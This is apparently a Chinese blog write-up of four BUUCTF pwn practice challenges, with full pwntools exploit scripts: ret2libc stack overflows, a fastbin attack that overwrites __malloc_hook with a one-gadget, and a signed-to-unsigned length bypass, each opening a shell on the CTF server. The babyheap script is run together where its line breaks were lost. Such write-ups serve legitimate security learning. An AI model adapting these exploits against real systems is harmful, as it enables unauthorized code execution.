PWN-PRACTICE-BUUCTF-6

铁人三项(第五赛区)_2018_rop
bjdctf_2020_babyrop
babyheap_0ctf_2017
pwn2_sctf_2016

铁人三项(第五赛区)_2018_rop

vulnerable_function函数中read构成栈溢出，ret2libc

from pwn import *
context.log_level="debug"
io=remote('node4.buuoj.cn',27664)
elf=ELF('./2018_rop')
libc=ELF('./libc-2.27-18-x32.so')
write_plt=elf.plt['write']
read_got=elf.got['read']
main=0x080484C6
payload="a"*(136+4)+p32(write_plt)+p32(main)+p32(1)+p32(read_got)+p32(4)
io.sendline(payload)
read_addr=u32(io.recv(4))
print(hex(read_addr))
libc_base=read_addr-libc.sym['read']
system=libc_base+libc.sym['system']
binsh=libc_base+libc.search("/bin/sh").next()
payload="a"*(136+4)+p32(system)+p32(main)+p32(binsh)
io.sendline(payload)
io.sendline("cat flag")
io.interactive()

bjdctf_2020_babyrop

题目提示"return to libc"

from pwn import *
io=remote('node4.buuoj.cn',29525)
elf=ELF('./bjdctf_2020_babyrop')
libc=ELF('./libc-2.23-16-x64.so')
pop_rdi_ret=0x0000000000400733
puts_got=elf.got["puts"]
puts_plt=elf.plt["puts"]
vuln=0x000000000040067D
ret=0x00000000004004c9
io.recvuntil("u story!\n")
payload="a"*(32+8)+p64(pop_rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(vuln)
io.sendline(payload)
puts_addr=u64(io.recvuntil("\n",drop=True).ljust(8,"\x00"))
print(hex(puts_addr))
libc_base=puts_addr-libc.sym["puts"]
system=libc_base+libc.sym["system"]
binsh=libc_base+libc.search("/bin/sh").next()
payload_2="a"*(32+8)+p64(pop_rdi_ret)+p64(binsh)+p64(ret)+p64(system)+p64(vuln)
io.recvuntil("u story!\n")
io.sendline(payload_2)
io.sendline("cat flag")
io.interactive()

babyheap_0ctf_2017

参考：[分享]0ctf2017 - babyheap

#coding:utf-8
from pwn import *
#context.log_level="debug"
#io=process("./babyheap_0ctf_2017")
io=remote('node4.buuoj.cn',25435)
elf=ELF('./babyheap_0ctf_2017')
libc=ELF('./libc-2.23-16-x64.so')def allocate(size):io.sendlineafter("Command: ","1")io.sendlineafter("Size: ",str(size))
def fill(index,size,content):io.sendlineafter("Command: ","2")io.sendlineafter("Index: ",str(index))io.sendlineafter("Size: ",str(size))io.sendlineafter("Content: ",content)
def free(index):io.sendlineafter("Command: ","3")io.sendlineafter("Index: ",str(index))
def dump(index):io.sendlineafter("Command: ","4")io.sendlineafter("Index: ",str(index))io.recvuntil("Content: \n")return io.recvline()#gdb.attach(io)
#pause()allocate(0x10)  #chunk0
allocate(0x10)  #chunk1
allocate(0x10)  #chunk2
allocate(0x10)  #chunk3
allocate(0x80)  #chunk4#pause()free(1)
free(2)#pause()payload="a"*0x10
payload+=p64(0)+p64(0x21)
payload+="a"*0x10
payload+=p64(0)+p64(0x21)
payload+=p8(0x80)
fill(0,len(payload),payload)    #chunk2的fd指向chunk4#pause()payload="a"*0x10
payload+=p64(0)+p64(0x21)
fill(3,len(payload),payload)    #调整chunk4的size#pause()allocate(0x10)    #在原来chunk2的位置创建chunk1
allocate(0x10)  #在原来chunk4的位置创建chunk2#pause()payload="a"*0x10
payload+=p64(0)+p64(0x91)
fill(3,len(payload),payload)    #调整回chunk4的size
allocate(0x80)  #chunk5 创建chunk5,防止free chunk4时和top chunk合并
free(4)#pause()leak_addr=u64(dump(2)[:8])  #chunk4 free掉后，其fd和bk均指向libc中的地址，泄露该地址，即可得到libc的基地址，进而得到malloc_hook和one-gadget的地址
print(hex(leak_addr))
libc_base=leak_addr-0x3c4b78   #这个偏移是调试出来的
print(hex(libc_base))
malloc_hook=libc_base+libc.sym['__malloc_hook']
print(hex(malloc_hook))#pause()allocate(0x60)   #chunk4 #fake chunk的size为0x7f,故创建一个数据大小为0x60的chunk4
free(4) #free chunk4，放入fastbin
payload=p64(malloc_hook-0x30+0xd)#p64括号里的地址为fake chunk的prev_size的起始地址，要保证这个地址加上0x08字节，即fake chunk的size为0x7f
fill(2,len(payload),payload)#pause()allocate(0x60)  #chunk4
allocate(0x60)  #chunk6 fake chunk
onegadget=libc_base+0x4526a
print(hex(onegadget))
payload=p64(0)*2+p8(0)*3+p64(onegadget)#payload直接填充在fake chunk的data部分，要覆盖__mallock_hook需要像括号里这样构造
fill(6,len(payload),payload)#覆盖__malloc_hook为one-gadget#pasue()allocate(1)  #getshellio.interactive()

pwn2_sctf_2016

vuln函数，第一个get_n读取我们想要第二个get_n读取数据的长度，不能超过32

atoi函数，将输入的字符串直接转成有符号整型
例如：输入"1"，返回eax=1；输入"-1"，返回eax=-1

而get_n函数的第二个参数为无符号整型，此时如果实参为有符号整型且为负数，则传入get_n的形参a2将会变成一个很大的无符号整型，也就可以读取足够的数据构成栈溢出

用"-1"来将有符号整型-1转成无符号整型4294967295，进而ret2libc

from pwn import *
#context.log_level="debug"
io=remote('node4.buuoj.cn',27039)
elf=ELF('./pwn2_sctf_2016')
libc=ELF('./libc-2.23-16-x32.so')
io.recvuntil("to read? ")
io.sendline("-1")
io.recvuntil("data!\n")
printf_plt=elf.plt['printf']
printf_got=elf.got['printf']
vuln=0x0804852F
s=0x080486F8
payload="a"*(0x2c+4)+p32(printf_plt)+p32(vuln)+p32(s)+p32(printf_got)
io.sendline(payload)
io.recvline()
io.recvuntil("You said: ")
printf_addr=u32(io.recv(4))
print(hex(printf_addr))
libc_base=printf_addr-libc.sym['printf']
system=libc_base+libc.sym["system"]
binsh=libc_base+libc.search("/bin/sh").next()
io.recvuntil("to read? ")
io.sendline("-1")
io.recvuntil("data!\n")
payload="a"*(0x2c+4)+p32(system)+p32(vuln)+p32(binsh)
io.sendline(payload)
io.interactive()

PWN-PRACTICE-BUUCTF-6相关推荐

BUUCTF Pwn warmup
BUUCTF Pwn warmup 1.题目下载地址 2.checksec检查保护 3.IDA静态分析 4.exp 1.题目下载地址点击下载题目 2.checksec检查保护啥都没开,果然是war ...
持续更新 BUUCTF——PWN（二）
文章目录前言 0ctf_2017_babyheap ciscn_2019_s_9 hitcon2014_stkof roarctf_2019_easy_pwn picoctf_2018_shellc ...
持续更新 BUUCTF——PWN（一）
文章目录前言 test_your_nc rip warmup_csaw_2016 ciscn_2019_n_1 pwn1_sctf_2016 jarvisoj_level0 [第五空间2019 决赛 ...
[PWN] BUUCTF jarvisoj_fm
[PWN] BUUCTF jarvisoj_fm 按照惯例checksec ,开启了relro,canary,nx 执行程序,观察程序的逻辑,在打印出输入的字符后,会打印出3! 32IDA打开查看主要 ...
BUUCTF PWN rip1 WP
BUUCTF PWN rip 1 这是一个WP,也是一个自己练习过程的记录. 先把文件放入pwn机中检查一下,发现并没有开启保护,所以应该是一道简单题我们运行一下试试,它让你输入一段字符然后 ...
持续更新 BUUCTF——PWN（三）
文章目录前言 axb_2019_heap oneshot_tjctf_2016 护网杯_2018_gettingstart wustctf2020_number_game zctf2016_note ...
buuctf pwn bjdctf_2020_babyrop
buuctf pwn bjdctf_2020_babyrop 1.checksec 2.IDA分析 ropper 3.exp 1.checksec 运行一下 2.IDA分析这里调用了vuln函数我 ...
Buuctf(pwn) picoctf_2018_rop chain 栈溢出
32位,开启了NX保护利用思路首先溢出后覆盖ret为function1函数地址,将win1赋值为1,之后跳转到function2的地址,a1是传入的参数,将a1传入即可满足条件去设置win2的值为 ...
BUUCTF(pwn) jarvisoj_level4 栈溢出,泄露libc
思路我们没有system和'/bin/sh'地址.也不知道libc版本, 我们可以先leek出来一个地址, 利用偏移找到system和'/bin/sh'地址.再返回main进行循环调用,第二次就可以 ...
Buuctf(pwn) jarvisoj_tell_me_something 栈溢出
64位程序,开启了NX保护 400620 from pwn import *r=remote('node4.buuoj.cn',29273)flag_addr=0x400620payload='a'* ...

PWN-PRACTICE-BUUCTF-6

PWN-PRACTICE-BUUCTF-6

铁人三项(第五赛区)_2018_rop

bjdctf_2020_babyrop

babyheap_0ctf_2017

pwn2_sctf_2016

PWN-PRACTICE-BUUCTF-6相关推荐

最新文章

热门文章